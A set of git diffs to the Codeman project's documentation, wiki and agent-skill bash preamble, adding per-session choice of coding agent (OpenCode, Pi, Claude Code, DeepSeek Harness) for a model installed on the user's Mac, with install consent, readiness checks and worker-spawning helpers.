- `harnesses[]`: the agent CLIs a session on the model in use can be started with, the default one first, then by the catalogue's rank. The agent is chosen per session: a session is started with `mode` set to a row's `cli` and `customModel: { endpointId, modelId }`. Empty in every state but `installed`. Each row: `cli`, `cliLabel`, `default` (true on the row `install.cli` names), `status`, `installCommand?` (with `installable` and `installing`: the literal command `POST .../agent` runs), `slowFirstTurn?` (the first answer takes minutes), `readyMark?` (a literal without white space that the agent's composer draws once it takes input: what a script waits for on `GET /api/sessions/:id/wait-output` before it sends the first prompt; absent for an agent with no measured mark. A mark says the composer is there, not that nothing else is: DeepSeek Harness with dsh-TUI 0.19 opens a setup guide whose cursor is its `❯` too until a person has finished it once, so a script reads the pane after the mark), `error?` (`{ message, detail? }`: the last install of this agent through `POST .../agent` failed; kept in memory only) and `actions[]` (`start-session`, `install`). `status` is `ready` (it can be started, the answer the Run menu gets), `installable` (not on this machine, and `POST .../agent` installs it), `installing` (that install is running; the model stays as it is) or `setup-needed` (not startable, and one command does not make it so: DeepSeek Harness without a terminal profile, or a command that needs an administrator; set it up from the Run menu or a terminal).
- `actions[]`: exactly what the server accepts right now, out of `install` (with `installed`: add another model), `cancel`, `resume`, `start`, `stop`, `remove` (with `idle` only while `store` holds something), `use` and `delete-model` (only while a row of `library` offers them), `install-agent` (only while a row of `harnesses` offers `install`) and `start-session` (not a route here: start a session on `endpointId`; offered only while the runtime runs, nothing blocks a session and, when `harnesses` is known, at least one agent CLI can be started).
Error codes (`install.error.code`), each with one next step:
+3 -1
View File
@@ -714,6 +714,8 @@ Either way the actual launch (`runCustomModelEntry`) routes through `run()` itse
**The coding agent** is installed by `runInstallCommand()` of `src/cli-install-runner.ts`, the runner extracted from `cli-registry-routes.ts` (whose route keeps its behaviour and re-exports `installEnv`/`npmGlobalPrefixWritable` for its tests). ⚠️ The job runs only `stockInstallCommand(id)`, read from the COMPILED `STOCK_CLIS`, never the registry merged with `clis.json` (the route's own command still comes from the merged registry, behind its `cliManagementEnabled` gate): this path has no such gate, so an override file must not be able to change what it runs. `HarnessFact.installCommand` is that same string, which is what the consent screen prints. ⚠️ Only for a harness row of the catalogue, only after the consent click, admin only, audited (`cli_install` with `via: 'local-model'`). ⚠️ ONE install slot per CLI id (`tryBeginCliInstall()`), shared by the route and the job. ⚠️ After the installer, successful or not, the resolver caches are forgotten (`forgetResolvedCli()`) and the binary is looked for again: a pre-install miss is negative-cached for up to five minutes, and "Start a session" would otherwise answer "not installed". Still missing is `harness-failed`; found is success whatever the exit code. The runner takes an abort signal that kills the installer's process GROUP.
**The coding agent is chosen per session.** The launch check (`launchRefusalMessage()`) asks about the endpoint and the model, never about the agent, so any CLI with a custom model recipe could always be started on `local-ollama` from the Run menu. What the feature adds is the list: `install.harnesses` (`buildHarnessRows()`, pure) is every catalogue harness that is not gated, has a `HarnessFact`, works at the model's context and accepts its name, each `ready`, `installable`, `installing` or `setup-needed`. ⚠️ `install.cli` stays the DEFAULT agent for a client that names none (the 1.50.0 skill reads only that field): the agent of the installation while it can be started, else the first row that can, so it never names an agent that is gone while another is there. ⚠️ `start-session` is listed only while a row is `ready`, once the rows are known; rows that could not be built (the registry threw) are "unknown", never "none", and a session is still offered. ⚠️ A LAUNCHER (`discovery.launcherProfile`, DeepSeek Harness) is never `installable`: its stock command installs the launcher and leaves it with nothing to launch, and the profile it needs is third-party code behind the privileged grant of `POST /api/deepseek/install-profile`. The rule reads the entry's data, never its id, and such an agent is offered only once the Run menu can start it. ⚠️ `POST /api/local-model/agent` (`installAgent()`) is NOT a job and NOT an event of the reducer: a job would put a working model into `failed` on an `npm` error and refuse every session until it was cleared. It runs `installCodingAgent()`, the function the `agent` step runs (same slot, same compiled command, same audit line), in the background; the state file never hears of it, the outcome lives in memory (`agentInstall`, `agentFailures`), one installer at a time, and `shutdown()` aborts it. A harness row may carry `readyMark` (a literal the composer draws once it takes input, for a script's `wait-output`): only a MEASURED mark goes there, the registry's `composerReadyMark` stands in when the row has none, and Pi has none on purpose (its composer rules are painted before it takes Enter, measured on 1.5.2).
**The connection** (`connect.ts`): one record `{ id: 'local-ollama', label: 'This Mac', baseUrl, authStyle: 'bearer', models: [<id as /v1/models lists it>], defaultModelId, defaultContextLength: <the chosen context> }`, validated by `CustomModelHostSchema` and written through `mutateCustomModelHosts()`, then `customModelEndpointsEnabled: true` through `mutateSettingsFile()`, with the flag's previous value kept in the state file (a second connect must hand the FIRST value back, or Remove could never switch the flag off again). ⚠️ `defaultContextLength` is load-bearing: the runtime's model listing states no context, so this field is what reaches the coding agent as its limit. ⚠️ The id is reserved: `POST /api/model-endpoints` refuses it, and a record with it that this feature did not write is never overwritten (`endpoint-id-taken`). ⚠️ While the state file records the connection, the record is MANAGED (`isManagedLocalEndpoint()`): `PUT`/`DELETE /api/model-endpoints/local-ollama` are refused, discover answers the stored list without a request, and the sweep skips it, so a model somebody pulled through the port never becomes launchable and the URL never leaves the supervised port. A hand-made record with that id (no state) stays an ordinary endpoint. `local-model.json` is not a config-backup file while the endpoint store and the settings are, so a restore can take the record away under an installed model: `boot()` puts the RECORD back when it is gone (`ensureLocalEndpoint()`, never replacing one that is there) and leaves the settings flag as it finds it. ⚠️ The runtime's port has NO authentication, and its CORS allowlist always admits `localhost` origins: any local process or localhost page can pull, create or delete models there. That is the reason for the three rules above and for the digest.
**The digest** `/api/tags` reported after the check is stored. ⚠️ Before a session starts on the managed endpoint (`LocalModelService.launchRefusalMessage()`, asked by BOTH launch paths in `session-routes.ts`: `POST /api/sessions/:id/custom-model` and the quick-start `customModel` branch, before anything is written or created) and at boot it is read again: a different digest, a model that is gone, a runtime Codeman did not start, or a model id other than the installed one refuses the launch with one sentence. The view shows what blocks a session as `error` while the state stays `installed`; it is found live and never stored. Boot recovery of an already running session (`_rebuildCustomModelEnv`) is not guarded: the pane exists and keeps its environment.
@@ -732,7 +734,7 @@ Either way the actual launch (`runCustomModelEntry`) routes through `run()` itse
**The endpoint store's writer** (`src/custom-model-hosts-writer.ts`): `mutateCustomModelHosts(fn)` is the shape of `mutateSettingsFile()`: one promise chain, a random temp name, a refusal (409) to write over a file that does not parse. ⚠️ EVERY writer of `custom-model-hosts.json` goes through it: the four endpoint routes, the sweep and the connect step (`test/custom-model-hosts-writer.test.ts` fails a `writeCustomModelHosts()` call anywhere else in `src/`). The routes used to read, change and write on their own through one shared temp name, so two creates sent together lost a record or failed, and a file that did not parse was read as `[]` and replaced by one record, with every other endpoint's API key gone. ⚠️ A route's check runs INSIDE the callback, and discover splices onto the record as it is after the probe, not the copy read before it.
Tests: `test/local-model-install-job.test.ts` (the tables and the reducer, every state with every event, the library rows), `test/local-model-install-service.test.ts` (the three library verbs and the two caches included), `test/local-model-install-e2e.test.ts` (the real modules over the fake runtime: install A, add B, switch back, delete B), `test/local-model-state-store.test.ts`, `test/local-model-connect.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/cli-install-runner.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`, and the runtime's own `test/local-model-runtime.test.ts`, `test/local-model-ollama-client.test.ts`. The fake runtime is `test/fixtures/fake-ollama.ts`.
Tests: `test/local-model-install-job.test.ts` (the tables and the reducer, every state with every event, the library rows), `test/local-model-install-service.test.ts` (the three library verbs, the agent install and the two caches included), `test/local-model-install-e2e.test.ts` (the real modules over the fake runtime: install A, add B, switch back, delete B), `test/local-model-state-store.test.ts`, `test/local-model-connect.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/cli-install-runner.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`, and the runtime's own `test/local-model-runtime.test.ts`, `test/local-model-ollama-client.test.ts`. The fake runtime is `test/fixtures/fake-ollama.ts`.
### Approvals Inbox
+7
View File
@@ -578,6 +578,13 @@ automatically). Results:
- **Claude, opencode, Pi, Grok, OMP** — verified: a real "hello world" reply
came back through the endpoint.
Pi's model entry carries the endpoint's context length when one is known
(`contextWindow`, the full window, and `maxTokens`, a quarter of it and
8,192 at most). Without it Pi takes an unknown model for a 128,000-token
one (its footer reads `/128k`) and asks for 16,384 reply tokens, so on a
smaller window it never compacts before the server's real window is full.
Measured on pi 1.5.2: with both fields `pi --list-models` shows the window
and the request carries `max_tokens: 8192`.
- **Codex** — the config is structurally correct, and against a llama-swap
server that DOES answer `/v1/responses` (confirmed live: a plain,
no-tool-call chat turn returned a real reply), the picture is more
+69 -6
View File
@@ -210,6 +210,66 @@ This step does not need the `cliManagementEnabled` setting. That setting gates t
CLI management surface; this path can only ever run one vetted command for one catalogue
row.
### Which coding agents, and what each was measured with
The coding agent is chosen **per session**. An installed model lists every agent it can be
run with (`install.harnesses` of the GET), and the window shows them as chips under "Start a
session with": the agent the model was installed with is the default, and the choice is
remembered on the device. The launch check asks about the endpoint and the model, never about
the agent, so a session with one agent and a session with another run on the same model.
| Agent | First request (its fixed prompt) | Installed from the window | What was seen, and where |
| ---------------- | ------------------------------------------------------------------- | ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- |
| OpenCode | about 8,100 tokens, 11 tools (v1.19.5; more with user-level skills) | yes | A tool round trip on a Mac with a real model (the catalogue's tested entry), and on a scripted endpoint for v1.19.5 |
| Claude Code | about 36,000 tokens, so the first answer takes minutes | yes | Shipped in 1.50.0; not measured again for this table |
| Pi | 2,096 tokens, 4 tools (v1.5.2) | yes | A complete tool round trip against a real model: tool call, tool result, final answer, the file on disk |
| DeepSeek Harness | about 7,650 tokens, 25 tools (0.1.1-rc.2); 6,983, 27 tools (0.2.2-rc.1) | **no** | A tool round trip on a scripted endpoint only, on both versions. Against a real model the launch and the model name reached the runtime, and no turn finished |
How to read the last column: the runs of 2026-11-10 were made on **Linux**, through Codeman's
own custom model launch, against Ollama 0.13.0 with a 1.7B model on a CPU ("a real model") or
against a scripted endpoint that replays that runtime's stream of a tool call. A scripted run
proves the agent's side of the protocol, not what a model does with its prompt. None of them
ran on a Mac or on the pinned runtime. Every agent sent the `name:tag` model name unchanged.
Three things follow from how the agents differ:
- **Pi is told the model's window.** Without it Pi takes an unknown model for a
128,000-token one and never compacts before the real window is full. Codeman now writes the
endpoint's context length into the model list it gives Pi (the custom model feature as a
whole, not only this window). Two things remain: a custom model session gives Pi a home
directory of its own, so Pi fetches its two search tools again at every start (it needs the
network for that; `PI_OFFLINE=1` skips it), and Pi asks "Trust project
folder?" in every such session when a folder above the working directory holds agent
skills, because the answer is stored in the home it does not keep.
- **DeepSeek Harness is a launcher.** `dsh` starts nothing by itself: a session needs a
terminal profile, which is third-party code with its own consent in the Run menu. Its
install command installs the launcher only, so this window never installs it. It is listed
as "Needs setup" until the Run menu can start it, and as a normal agent from then on. It is
the one agent of the four besides Claude Code that reports the end of a turn. Its custom
endpoint recipe itself was verified with a real model on a llama.cpp server
([custom-model-endpoints.md](custom-model-endpoints.md)); what is missing is a finished turn
on this feature's runtime. On today's version (0.2.2-rc.1 with dsh-TUI 0.19.0) two more
things were seen: a setup guide opens in every session until a person has finished it once
(a person in a tab presses through it; a script must not, see the codeman skill), and its
transcript file was renamed, so Codeman's response viewer and `last-response` are empty for
a dsh session on that version until the reader learns the new name.
- **OpenCode and DeepSeek Harness send a second, small request** beside the first prompt (a
title, a side question). The runtime answers one request at a time, so it queues.
### Installing one more agent beside an installed model
An agent that is not on the Mac has "Not installed" on its chip. Selecting it shows the
literal install command, and the main button becomes "Install <agent>". That click is the
consent; `POST /api/local-model/agent` then runs the same stock command under the same rules
as the `agent` step above (catalogue row only, compiled command only, admin only, audited,
one installer at a time).
It is **not a job**. The state stays `installed` whatever the installer does: the model stays
loaded, sessions are not refused, and a session with another agent can be started while it
runs. A failed install shows the sentence and the installer's last lines under the chip, and
leaves everything else as it was. The outcome is kept in memory only, so a restart of the
server forgets a failure (the chip then simply says "Not installed" again).
### The connection
Two writes outside the local model folder, both undone by Remove:
@@ -244,7 +304,7 @@ Switching the setting on also starts that five-minute sweep for every other save
## Starting a session
"Start a session" starts the coding agent on the endpoint `local-ollama` through the
"Start a session" starts the selected coding agent on the endpoint `local-ollama` through the
existing custom model launch. Before a coding agent is STARTED on that endpoint the server
checks, in this order:
@@ -273,10 +333,12 @@ The codeman skill ([`skills/codeman`](../skills/codeman/SKILL.md#claude-in-the-c
lets an agent in a Codeman session hand work to this model, so Claude in the cloud plans and
reviews while the model on this Mac does the bulk: summaries, classification, first drafts, and
files that should not leave the machine. `local_model` reads `GET /api/local-model` and says what
is installed or why nothing can run; `spawn_worker <name> local` starts the runtime when it was
stopped (as Start does), then starts the installed coding agent on `local-ollama` through the same
is installed or why nothing can run, with the coding agents the model can be run with and the
models on the Mac; `spawn_worker <name> local` starts the runtime when it was
stopped (as Start does), then starts the default coding agent (`install.cli`), or with
`local:<agent>` (`local:pi`, `local:deepseek`) another one that is ready, on `local-ollama` through the same
quick-start launch and the same checks as above; `sendmark` gives the worker a task and reads its
answer back from a file it writes in its own folder. The skill never installs a model and never
answer back from a file it writes in its own folder. The skill never installs a model or a coding agent and never
answers a confirmation, the runtime still answers one request at a time, and while a worker it
opened is live, Stop and Remove are refused until it is closed.
@@ -312,8 +374,9 @@ and measures the store at most every thirty, never on every poll.
the runtime is restarted with the context the model was checked with, the model is loaded
and checked again (the tiny chat, the GPU, the tool probe), its digest must still be the
stored one (else the switch fails with `model-changed` before the model is loaded), and
the endpoint record is rewritten. The coding agent is the one the model was checked with
when it is still installed, else the one of the installation.
the endpoint record is rewritten. The default coding agent becomes the one the model was
checked with when it is still installed, else the one of the installation, else any other
agent that is on the Mac and can run the model.
- **Delete** removes one model through the runtime's own delete, after one question in the
row. The request carries the model's name, never a path, and the server deletes only a
name of its own listing. The model in use cannot be deleted: switch first, or Remove. It
+2
View File
@@ -138,6 +138,8 @@ from your side. See [Agent CLIs](Agent-CLIs) for the run modes.
Claude Code lead can hand work to it: Claude in the cloud plans and reviews, the local model
takes summaries, first drafts and files that should stay on the machine. It answers one
request at a time and is slower than a cloud model, and the skill never installs one for you.
You can name the coding agent the worker runs with ("a local worker with Pi"), as long as
that agent is installed; the walkthrough is in [Local Models](Local-Models#cloud-and-local-together).
With Claude Code workers, where the installed Claude Code supports it, the lead can also
message a worker directly instead of typing into its terminal.
+7 -1
View File
@@ -207,7 +207,9 @@ missing entry is the more current answer.
## A model that runs on this Mac
If the Codeman server runs on a Mac with Apple silicon, you do not need a server of your
own: Codeman can set one model up for you on that Mac. This is experimental.
own: Codeman can set one model up for you on that Mac. This is experimental. The walkthrough,
with the coding agents and the cloud plus local setup, is on its own page:
[Local Models](Local-Models).
1. Press **Run a local model** on the welcome screen (or open App Settings > Models > Model
on this Mac).
@@ -239,6 +241,10 @@ Good to know:
downloads another one, **Use** switches to a model that is already there (nothing is
downloaded; close the sessions on the model first), and **Delete** removes one, after one
question. The model in use cannot be deleted: switch first, or use **Remove**.
- The coding agent is chosen per session. The window lists every agent the model can be run
with (OpenCode, Claude Code, Pi, DeepSeek Harness) under **Start a session with**, and
installs one that is missing after showing you the command. DeepSeek Harness is set up
from the Run menu first.
- **Remove** deletes the runtime and the endpoint, and the model too if you tick that. The
coding agent stays installed.
- If the model on disk is no longer the one that was installed, Codeman refuses to start a
+1
View File
@@ -66,6 +66,7 @@ codeman web # then open http://localhost:3000
| [Tile Grid](Tile-Grid) | How do I watch and drive several sessions side by side? |
| [Agent CLIs](Agent-CLIs) | Which agent should this session run, and how do I set it up? |
| [Custom Model Endpoints](Custom-Model-Endpoints) | How do I point a session at my own OpenAI-compatible endpoint? |
| [Local Models](Local-Models) | How do I run a coding model on my own Mac, and use it next to a cloud model? |
| [Working With Files](Working-With-Files) | How do I read, edit, and attach files? |
| [Git Worktrees](Git-Worktrees) | How do several agents work on one repository without sharing a folder? |
| [Input And Voice](Input-And-Voice) | How do I talk to an agent, including by voice? |
+115
View File
@@ -0,0 +1,115 @@
# Local Models
Run a coding model on your own Mac, next to the cloud models you already use. Codeman
installs the model, keeps it running, and lets you start sessions on it or hand it work from
a cloud session. No account and no API key: the model runs only on that Mac.
This is **experimental**, and it needs a Mac with Apple silicon as the machine the Codeman
server runs on. On a machine that is not a Mac the button stays hidden.
## Install a model
1. Press **Run a local model** on the welcome screen (or open App Settings > Models > Model
on this Mac).
2. The window shows which models fit this Mac. The bar at the top is the memory the Mac can
give a model, filled to what the selected model needs at its peak. A nearly full bar is a
tight fit.
3. Pick a model, and under **Runs with** the coding agent to start it with.
4. Press **Install on this Mac**. The next screen lists every download with its size and
where it goes. Nothing is downloaded before you confirm there.
5. Codeman downloads a model runtime and the model into `~/.codeman/local-model`, loads the
model, checks that all of it runs on the GPU and that it can call a tool, and installs
the coding agent if it is missing. No administrator password is asked for.
6. Press **Start a session**.
You can close the window while it downloads. **Cancel** pauses the install and **Continue**
picks it up where it stopped. After a Codeman restart an unfinished install waits for your
click.
## Pick the coding agent
A model is driven by a coding agent: the program that reads your prompt, calls tools and
edits files. You choose it **per session**. Open the window again and look at **Start a
session with**: one chip per agent the model can be run with.
| Agent | Pick it when |
| ---------------- | ---------------------------------------------------------------------------------------------- |
| OpenCode | You have no reason to choose. It is the pair Codeman was tested with on a Mac |
| Pi | You want the first answer soon. Its fixed prompt is the smallest by far, which also leaves the most room for your work |
| Claude Code | You want Claude Code's own tools and habits. Its first answer on a local model takes minutes |
| DeepSeek Harness | You already use it and have it set up |
Select a chip and press **Start a session**. The choice is remembered on that device.
**A chip that says "Not installed"** is an agent Codeman can install for you. Select it: the
window shows the exact command it would run, and the main button becomes **Install** with
the agent's name. The model stays ready while the installer runs, and you can start a
session with another agent meanwhile. If the install fails, the window says so under the
chip and nothing else changes.
**A chip that says "Needs setup"** is an agent that needs more than one command. DeepSeek
Harness is the one today: set it up from the **Run** menu first, then it can be started
here. A new DeepSeek Harness also opens its own setup guide in every session until you have
finished it once.
## More than one model
Once a model is installed, the window lists **Models on this Mac** with what each takes on
disk, and the total under the list.
- **Add a model** opens the list of models again and downloads another one. When it is
ready it becomes the model in use; the earlier one stays on the Mac.
- **Use** switches to a model that is already there. Nothing is downloaded: Codeman loads it
and checks it again.
- **Delete** removes one model, after one question that says how much space it frees.
One model runs at a time. Adding and switching are refused while sessions still use the
current model: close those sessions first. The model in use cannot be deleted: switch first,
or use **Remove**, which takes the runtime and the connection away (and the downloaded
models too, if you tick that).
## Cloud and local together
The reason to keep a local model next to a cloud one: the cloud model plans and reviews, the
Mac does the bulk. From a Claude Code session in Codeman, with the
[Codeman skill](Codeman-Skill) (on by default), you can just say it:
| You say | What happens |
| --------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ |
| "Is there a local model on this Mac?" | It reads what is installed, which agents can run it and which models are on the Mac. Read-only |
| "Use the local model to summarize every file in `docs/`, then check its summaries." | A worker on the local model does the reading; the cloud session reads its answer back and reviews it |
| "Spawn a local worker with Pi to draft tests for `src/parser.ts`." | The worker runs the local model through Pi |
| "Start two cloud workers for the API and the UI, and a local one for the changelog." | One mixed fleet: cloud workers side by side, the Mac as a queue |
The worker sessions appear as tabs in the dashboard and are closed when the work is done.
Good to know before you rely on it:
- **One request at a time.** The local model answers one request at a time, so two local
workers take turns. Fan out to the cloud, and give the Mac a queue.
- **Slower than a cloud model**, and the first request after a start loads the model first.
- **Review what comes back.** A local model is good at bulk work and weaker at judgment.
Treat its answer as a first draft.
- **The skill never installs anything.** A model or an agent that is missing is yours to
install in the window; the skill tells you what is missing and stops.
- **While a local worker is open**, the window refuses Stop, Remove and a switch of models,
and names the sessions that are in the way.
## Good to know
- **What was tested.** One pair was run on a real Mac: OpenCode with Qwen3.6 35B-A3B on an
M5 Pro with 48 GB. The window marks that pair on a Mac like it. Everything else in the
list is calculated from each model's own figures, and the install checks the model on your
Mac before it lets you start a session.
- **Memory first.** A model that does not fit in memory is not offered. An estimate becomes
a measurement the first time the runtime starts, and the model is judged against that
before it is downloaded.
- **The developer tools.** Coding agents use git and Python. On a Mac without them, macOS
offers to install them the first time an agent needs one.
- **Stop** keeps the runtime from starting with Codeman next time. **Start** undoes that.
- **In multi-user mode** only an admin sees and uses this.
More detail: [A model that runs on this Mac](Custom-Model-Endpoints#a-model-that-runs-on-this-mac)
for how it relates to your own model servers, and
[`docs/local-models.md`](https://github.com/Ark0N/Codeman/blob/master/docs/local-models.md)
for how it works inside.
+1
View File
@@ -14,6 +14,7 @@
- [Tile Grid](Tile-Grid)
- [Agent CLIs](Agent-CLIs)
- [Custom Model Endpoints](Custom-Model-Endpoints)
- [Local Models](Local-Models)
- [Working With Files](Working-With-Files)
- [Git Worktrees](Git-Worktrees)
- [Input And Voice](Input-And-Voice)
+145 -41
View File
@@ -107,7 +107,7 @@ later call opens with, and your first REAL call performs them anyway:
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
[ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
```
⚠️ **Never spend a Bash call on this check alone.** §1's block opens with this same
@@ -135,8 +135,8 @@ PRE="${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh"
mkdir -p "$(dirname "$PRE")"
# Rewrite unless the file already ends with THIS version's stamp, so a stale or a
# half-written file self-heals here instead of costing you a round trip to rm it.
grep -qs '^CODEMAN_PREAMBLE=1.50.0$' "$PRE" || (umask 077; cat > "$PRE" <<'PREAMBLE'
# ---- Codeman agent preamble 1.50.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
grep -qs '^CODEMAN_PREAMBLE=1.51.0$' "$PRE" || (umask 077; cat > "$PRE" <<'PREAMBLE'
# ---- Codeman agent preamble 1.51.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
# Positional parameters are always written with braces, ${1} and never a bare dollar-digit: Claude Code
# replaces a bare one in a skill body with the matching word of the skill's arguments, and §0 is pasted
# from that body (test/agent-skill.test.ts pins it).
@@ -197,6 +197,17 @@ _dsh_up() { # <sid> <timeoutMs> -> "true"/"false". The DeepSeek Harness T
# composer glyph. Override with DSH_READY_MARK for a profile that draws another one.
_mark_up "${1}" "${DSH_READY_MARK:-❯}" "${2}"
}
_dsh_guide() { # <sid> -> 0 when the pane shows dsh-TUI's first-run SETUP GUIDE, not a composer.
# dsh-TUI 0.19.0 opens a guide ("Welcome to dsh-TUI Step 1 of 4") in every session until a
# person has finished it once, and the guide's own cursor is `❯`: the readiness mark matches
# on it (measured, 2 of 2 launches), and an Enter there acts on the highlighted step, which
# is a sign-in. So a worker whose mark matched is still checked for the guide, on the
# RENDERED pane with its whitespace removed, and never handed back while it shows.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/terminal" --data-urlencode 'full=1' \
| jq -r '.data.terminalBuffer // empty' \
| sed -e "s/$(printf '\033')\[[0-9;?]*[a-zA-Z]//g" -e "s/$(printf '\033')[()][AB0]//g" \
| tr -d ' \t' | grep -qi 'Step[0-9]of[0-9]'
}
# ---- the workspace-trust dialog: READ the screen, never press Enter blind ----
# Claude Code 2.1.252 dropped the option numbers, REVERSED them, and highlights
# "No, exit" by default:
@@ -259,9 +270,18 @@ _accept_trust() { # <sid> -> 0 once it has answered the dialog, 1 if it could n
# local_model -> ONE compact JSON object on stdout. rc 0 only when a `local` worker can be
# spawned now (`running:true`) or once spawn_worker has started the runtime (`running:false`):
# {"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
# "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>"}
# "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>",
# "agents":[{"cli":"opencode","cliLabel":"OpenCode","status":"ready","default":true,"readyMark":"┃"},
# {"cli":"pi","cliLabel":"Pi","status":"installable","default":false}],
# "models":[{"id":"<id>","label":"<label>","active":true,"status":"ready","sizeGb":"23.1"}]}
# `cli` is the DEFAULT coding agent, the one `spawn_worker <name> local` starts. `agents` is
# every agent the model can be run with: `local:<cli>` starts one whose status is `ready`
# (`installable`, `installing` and `setup-needed` are a person's to resolve in the window).
# `models` is what is on this Mac; only the `active` one runs, and switching is a person's
# decision too. A Codeman older than 1.51 sends neither list: only `local` works there.
# Otherwise rc 1 and {"spawnable":false,"reason":"<reason>","message":"<why>",...}, the reason
# one of: not-mac, not-installed, install-unfinished, blocked (installed, but the server
# one of: not-mac, not-installed, install-unfinished, no-agent (installed, but no coding agent
# that can run the model is on this Mac), blocked (installed, but the server
# refuses a session now: the model changed on disk, another program holds the port, the
# runtime does not start), admin-only (multi-user mode, 403), unsupported (a Codeman without
# local models, 404), unauthorized (401, §6), unreachable, error.
@@ -277,12 +297,23 @@ local_model() {
| reduce ((.vars // {}) | to_entries[]) as $e ($t; gsub("\\{" + $e.key + "\\}"; $e.value));
.data as $d | ($d.install // {}) as $i | ($i.actions // []) as $a
| {state:$i.state, running:($i.running == true), cli:$i.cli, cliLabel:$i.cliLabel,
endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label} as $base
endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label,
agents:(if ($i.harnesses | type) == "array"
then [$i.harnesses[] | {cli, cliLabel, status, default, readyMark} | with_entries(select(.value != null))]
else null end),
models:(if ($i.library | type) == "array" and ($i.library | length) > 0
then [$i.library[] | {id, label, active, status, sizeGb} | with_entries(select(.value != null))]
else null end)} as $base
| if ($d | type) != "object" then {spawnable:false, reason:"error", message:"no data in the answer"}
elif $i.state == "installed" then
# With the agents listed and none of them startable there is nothing to spawn,
# running or not: say that, not "blocked".
if $i.error == null and $base.agents != null and ([$base.agents[] | select(.status == "ready")] | length) == 0
then {spawnable:false, reason:"no-agent",
message:"The model is installed, but no coding agent that can run it is on this Mac. A person installs one in the Run a local model window."} + $base
# `start` alone over-promises: it is offered too while another program holds the
# port. Only an error-free start is a runtime spawn_worker can bring up.
if ($i.cli and $i.endpointId and $i.model.id)
elif ($i.cli and $i.endpointId and $i.model.id)
and (($a | index("start-session")) != null or (($a | index("start")) != null and $i.error == null))
then {spawnable:true} + $base
else {spawnable:false, reason:"blocked", errorCode:$i.error.code,
@@ -345,31 +376,55 @@ _local_ready_model() {
# rather than handed back, because a worker that never drew its composer would eat the
# task prompt with its trust dialog. There is deliberately no pid poll: wait-output
# already blocks until the composer draws, and pid!=null proved startup, never readiness.
# mode `local` is the model Codeman installed on this Mac (local_model), run by the coding
# agent it was installed with. The worker's mode becomes that agent, and the endpoint and
# model ride the quick-start as `customModel`: the launch the window's "Start a session"
# makes. A stopped runtime is started first. Any answer that wants a person to confirm
# something (a context below the agent's safe floor, a model swap) fails the spawn: this
# never confirms on anyone's behalf.
# mode `local` is the model Codeman installed on this Mac (local_model), run by its default
# coding agent; `local:<cli>` (`local:pi`, `local:deepseek`, `local:opencode`, `local:claude`)
# picks another one of local_model's `agents`, which must be `ready`. The worker's mode
# becomes that agent, and the endpoint and model ride the quick-start as `customModel`: the
# launch the window's "Start a session" makes. A stopped runtime is started first. Any answer
# that wants a person to confirm something (a context below the agent's safe floor, a model
# swap) fails the spawn: this never confirms on anyone's behalf, and it never installs an
# agent. All local workers share ONE model that answers one request at a time.
# CODEMAN_WORKER_ADVISOR=opus (or fable / sonnet) gives every CLAUDE worker spawned while
# it is set Claude Code's advisor tool: a stronger model the worker consults before
# committing to an approach, on a recurring error and before declaring the task done.
# Other modes ignore it. A value the server refuses fails the spawn (INVALID_INPUT); an
# advisor that ranks below the worker's model is accepted but never attached by claude.
spawn_worker() {
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark=''
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark='' want=''
case "$mode" in local:*) want=${mode#local:}; mode=local ;; esac
if [ "$mode" = local ]; then
lm=$(_local_ready_model) || return 1
mode=$(jq -r .cli <<<"$lm")
if [ -n "$want" ]; then
# Only an agent the server lists as startable. A Codeman that lists none (older than
# 1.51) knows one agent, its `cli`: naming that one is fine, any other is not.
r=$(jq -r --arg w "$want" 'if (.agents | type) == "array" then ([.agents[] | select(.cli == $w) | .status][0] // "absent")
elif .cli == $w then "ready" else "unlisted" end' <<<"$lm")
case "$r" in
ready) ;;
unlisted) echo "this Codeman lists one coding agent for the local model, $(jq -r .cli <<<"$lm"): use plain \`local\`, or update Codeman to choose another" >&2; return 1 ;;
absent) echo "the local model cannot be run with '$want' here. Startable: $(jq -r '[.agents[] | select(.status == "ready") | .cli] | join(", ")' <<<"$lm")" >&2; return 1 ;;
*) echo "the coding agent '$want' is not startable on this Mac ($r): a person installs or sets it up in the Run a local model window. Startable now: $(jq -r '[.agents[] | select(.status == "ready") | .cli] | join(", ")' <<<"$lm")" >&2; return 1 ;;
esac
mode=$want
else
mode=$(jq -r .cli <<<"$lm")
fi
cm=$(jq -c '{endpointId, modelId}' <<<"$lm")
# Readiness is a token the agent's composer draws. The registry's composer data never
# reaches the API, so it is named per agent here. opencode: `┃`, its `workDetect.promptGlyph`.
# That field is no readiness mark in general (the registry keeps `composerReadyMark` for
# that, and declares none for opencode), but at boot only the composer draws it: measured
# on opencode 1.3.0 on Linux, fresh home, custom provider, the first `┃` came with the composer,
# and a prompt pasted with its Enter at that moment was submitted. claude takes the claude
# path below. Any other agent needs LOCAL_READY_MARK rather than a worker handed back on a guess.
[ "$mode" = opencode ] && mark='┃'
# Readiness is a token the agent's composer draws once it takes input. The server names
# the measured one per agent (`readyMark`: opencode `┃`, deepseek `❯`, claude `shift+tab`).
# For a server that sends none, the two this skill measured itself:
